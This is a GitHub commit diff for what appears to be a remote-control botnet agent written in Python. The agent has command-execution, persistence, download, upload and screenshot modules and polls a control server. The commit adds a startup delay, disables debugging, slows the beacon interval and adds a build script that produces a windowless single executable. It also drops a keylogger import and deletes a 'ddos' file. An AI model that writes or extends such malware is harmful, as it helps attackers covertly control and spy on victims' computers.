Skip to content

Commit

Permalink
Adds a pause at start
Browse files Browse the repository at this point in the history
  • Loading branch information
sweetsoftware committed Mar 22, 2016
1 parent 9e2c285 commit 5bd00bb
Show file tree
Hide file tree
Showing 5 changed files with 9 additions and 295 deletions.
1 change: 0 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
*.pyc
*.spec
*.bat
*.exe
*.db
*.db-journal
Expand Down
4 changes: 2 additions & 2 deletions agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,11 +15,10 @@
from modules import persistence
from modules import download
from modules import upload
from modules import keylogger
from modules import screenshot


MODULES = ['runcmd', 'persistence', 'download', 'upload', 'keylogger', 'screenshot']
MODULES = ['runcmd', 'persistence', 'download', 'upload', 'screenshot']
if not settings.BOT_ID:
settings.BOT_ID = socket.gethostname()
if not utils.validate_botid(settings.BOT_ID):
Expand Down Expand Up @@ -48,6 +47,7 @@ def print_help(mod=None):


if __name__ == "__main__":
time.sleep(settings.PAUSE_AT_START)
last_active = time.time()
is_idle = False
while 1:
Expand Down
2 changes: 2 additions & 0 deletions agent/compile.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
taskkill /im agent.exe /f
pyinstaller --onefile --noconsole agent.py
8 changes: 5 additions & 3 deletions agent/settings.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
SERVER_URL = "http://localhost:8080"
BOT_ID = ""
DEBUG = True
IDLE_TIME = 60
REQUEST_INTERVAL = 2
DEBUG = False
IDLE_TIME = 120
REQUEST_INTERVAL = 10
PAUSE_AT_START = 60

289 changes: 0 additions & 289 deletions ddos

This file was deleted.

0 comments on commit 5bd00bb

Please sign in to comment.